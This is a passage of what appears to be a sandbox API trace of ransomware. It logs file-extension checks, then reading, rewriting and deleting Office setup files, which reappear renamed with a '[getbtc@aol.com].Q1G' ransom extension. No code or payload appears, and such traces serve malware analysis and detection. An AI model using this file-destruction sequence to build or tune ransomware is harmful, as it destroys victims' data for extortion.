returned 1 [0039.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0039.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0039.838] lstrlenW (lpString=".doc") returned 4 [0039.838] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0039.838] lstrlenW (lpString=".docx") returned 5 [0039.838] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0039.838] lstrlenW (lpString=".pdf") returned 4 [0039.838] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0039.838] lstrlenW (lpString=".xls") returned 4 [0039.838] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0039.838] lstrlenW (lpString=".xlsx") returned 5 [0039.838] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0039.838] lstrlenW (lpString=".ppt") returned 4 [0039.839] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0039.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0039.839] lstrlenW (lpString=".zip") returned 4 [0039.839] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0039.839] lstrlenW (lpString=".rar") returned 4 [0039.839] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0039.839] lstrlenW (lpString=".bz2") returned 4 [0039.839] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0039.839] lstrlenW (lpString=".7z") returned 3 [0039.839] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0039.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0039.839] lstrlenW (lpString=".dbf") returned 4 [0039.839] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0039.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0039.839] lstrlenW (lpString=".1cd") returned 4 [0039.839] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0039.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0039.839] lstrlenW (lpString=".jpg") returned 4 [0039.839] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0039.839] lstrcmpiW (lpString1=".CHM", lpString2=".Q1G") returned -1 [0039.839] lstrlenW (lpString="PSS10R.CHM") returned 10 [0039.839] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0039.840] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=27195) returned 1 [0039.840] CloseHandle (hObject=0x1f0) returned 1 [0039.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 0x20 [0039.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0039.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0039.840] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.840] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0039.841] GetLastError () returned 0x0 [0039.841] ReadFile (in: hFile=0x1f0, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0039.843] WriteFile (in: hFile=0x1d0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0039.844] ReadFile (in: hFile=0x1f0, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.844] WriteFile (in: hFile=0x1d0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0039.844] SetEndOfFile (hFile=0x1d0) returned 1 [0039.845] CloseHandle (hObject=0x1d0) returned 1 [0039.845] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.845] SetEndOfFile (hFile=0x1f0) returned 1 [0039.846] CloseHandle (hObject=0x1f0) returned 1 [0039.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0039.846] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 1 [0039.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0039.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0039.847] lstrlenW (lpString=".doc") returned 4 [0039.847] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0039.847] lstrlenW (lpString=".docx") returned 5 [0039.847] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0039.847] lstrlenW (lpString=".pdf") returned 4 [0039.847] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0039.847] lstrlenW (lpString=".xls") returned 4 [0039.847] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0039.847] lstrlenW (lpString=".xlsx") returned 5 [0039.847] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0039.847] lstrlenW (lpString=".ppt") returned 4 [0039.847] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0039.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0039.847] lstrlenW (lpString=".zip") returned 4 [0039.847] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0039.847] lstrlenW (lpString=".rar") returned 4 [0039.847] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0039.847] lstrlenW (lpString=".bz2") returned 4 [0039.847] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0039.847] lstrlenW (lpString=".7z") returned 3 [0039.847] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0039.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0039.847] lstrlenW (lpString=".dbf") returned 4 [0039.847] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0039.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0039.847] lstrlenW (lpString=".1cd") returned 4 [0039.847] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0039.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0039.847] lstrlenW (lpString=".jpg") returned 4 [0039.848] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0039.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0039.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0039.848] lstrlenW (lpString=".doc") returned 4 [0039.848] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0039.848] lstrlenW (lpString=".docx") returned 5 [0039.848] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0039.848] lstrlenW (lpString=".pdf") returned 4 [0039.848] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0039.848] lstrlenW (lpString=".xls") returned 4 [0039.848] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0039.848] lstrlenW (lpString=".xlsx") returned 5 [0039.848] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0039.848] lstrlenW (lpString=".ppt") returned 4 [0039.848] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0039.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0039.848] lstrlenW (lpString=".zip") returned 4 [0039.848] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0039.848] lstrlenW (lpString=".rar") returned 4 [0039.848] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0039.848] lstrlenW (lpString=".bz2") returned 4 [0039.848] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0039.848] lstrlenW (lpString=".7z") returned 3 [0039.848] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0039.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0039.848] lstrlenW (lpString=".dbf") returned 4 [0039.848] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0039.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0039.848] lstrlenW (lpString=".1cd") returned 4 [0039.848] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0039.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0039.848] lstrlenW (lpString=".jpg") returned 4 [0039.848] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0039.849] lstrcmpiW (lpString1=".CHM", lpString2=".Q1G") returned -1 [0039.849] lstrlenW (lpString="SETUP.CHM") returned 9 [0039.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0040.531] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=67190) returned 1 [0040.531] CloseHandle (hObject=0x19c) returned 1 [0040.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 0x20 [0040.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0040.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0040.531] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.532] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0040.532] GetLastError () returned 0x0 [0040.532] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x10676, lpOverlapped=0x0) returned 1 [0040.539] WriteFile (in: hFile=0x1d0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x10680, lpOverlapped=0x0) returned 1 [0040.541] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.541] WriteFile (in: hFile=0x1d0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.541] SetEndOfFile (hFile=0x1d0) returned 1 [0040.541] CloseHandle (hObject=0x1d0) returned 1 [0040.542] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.542] SetEndOfFile (hFile=0x19c) returned 1 [0040.548] CloseHandle (hObject=0x19c) returned 1 [0040.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0040.548] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 1 [0040.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.549] lstrlenW (lpString=".doc") returned 4 [0040.549] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0040.549] lstrlenW (lpString=".docx") returned 5 [0040.549] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0040.549] lstrlenW (lpString=".pdf") returned 4 [0040.549] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0040.549] lstrlenW (lpString=".xls") returned 4 [0040.549] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0040.549] lstrlenW (lpString=".xlsx") returned 5 [0040.549] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0040.549] lstrlenW (lpString=".ppt") returned 4 [0040.549] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0040.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.549] lstrlenW (lpString=".zip") returned 4 [0040.549] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0040.549] lstrlenW (lpString=".rar") returned 4 [0040.549] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0040.549] lstrlenW (lpString=".bz2") returned 4 [0040.549] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0040.549] lstrlenW (lpString=".7z") returned 3 [0040.549] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0040.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.549] lstrlenW (lpString=".dbf") returned 4 [0040.549] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0040.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.549] lstrlenW (lpString=".1cd") returned 4 [0040.549] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0040.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.549] lstrlenW (lpString=".jpg") returned 4 [0040.549] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0040.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.550] lstrlenW (lpString=".doc") returned 4 [0040.550] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0040.550] lstrlenW (lpString=".docx") returned 5 [0040.550] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0040.550] lstrlenW (lpString=".pdf") returned 4 [0040.550] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0040.550] lstrlenW (lpString=".xls") returned 4 [0040.550] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0040.550] lstrlenW (lpString=".xlsx") returned 5 [0040.550] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0040.550] lstrlenW (lpString=".ppt") returned 4 [0040.550] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0040.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.550] lstrlenW (lpString=".zip") returned 4 [0040.550] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0040.550] lstrlenW (lpString=".rar") returned 4 [0040.550] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0040.550] lstrlenW (lpString=".bz2") returned 4 [0040.550] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0040.550] lstrlenW (lpString=".7z") returned 3 [0040.550] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0040.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.550] lstrlenW (lpString=".dbf") returned 4 [0040.550] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0040.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.550] lstrlenW (lpString=".1cd") returned 4 [0040.550] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0040.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.550] lstrlenW (lpString=".jpg") returned 4 [0040.550] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0040.551] lstrcmpiW (lpString1=".XML", lpString2=".Q1G") returned 1 [0040.551] lstrlenW (lpString="SETUP.XML") returned 9 [0040.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0040.551] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=9352) returned 1 [0040.551] CloseHandle (hObject=0x19c) returned 1 [0040.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 0x20 [0040.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0040.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0040.551] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.551] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0040.552] GetLastError () returned 0x0 [0040.552] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x2488, lpOverlapped=0x0) returned 1 [0040.553] WriteFile (in: hFile=0x1d0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x2490, lpOverlapped=0x0) returned 1 [0040.554] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.554] WriteFile (in: hFile=0x1d0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.554] SetEndOfFile (hFile=0x1d0) returned 1 [0040.554] CloseHandle (hObject=0x1d0) returned 1 [0040.555] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.555] SetEndOfFile (hFile=0x19c) returned 1 [0040.556] CloseHandle (hObject=0x19c) returned 1 [0040.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0040.556] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 1 [0040.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0040.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0040.556] lstrlenW (lpString=".doc") returned 4 [0040.556] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.556] lstrlenW (lpString=".docx") returned 5 [0040.556] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.556] lstrlenW (lpString=".pdf") returned 4 [0040.556] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.557] lstrlenW (lpString=".xls") returned 4 [0040.557] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.557] lstrlenW (lpString=".xlsx") returned 5 [0040.557] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.557] lstrlenW (lpString=".ppt") returned 4 [0040.557] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 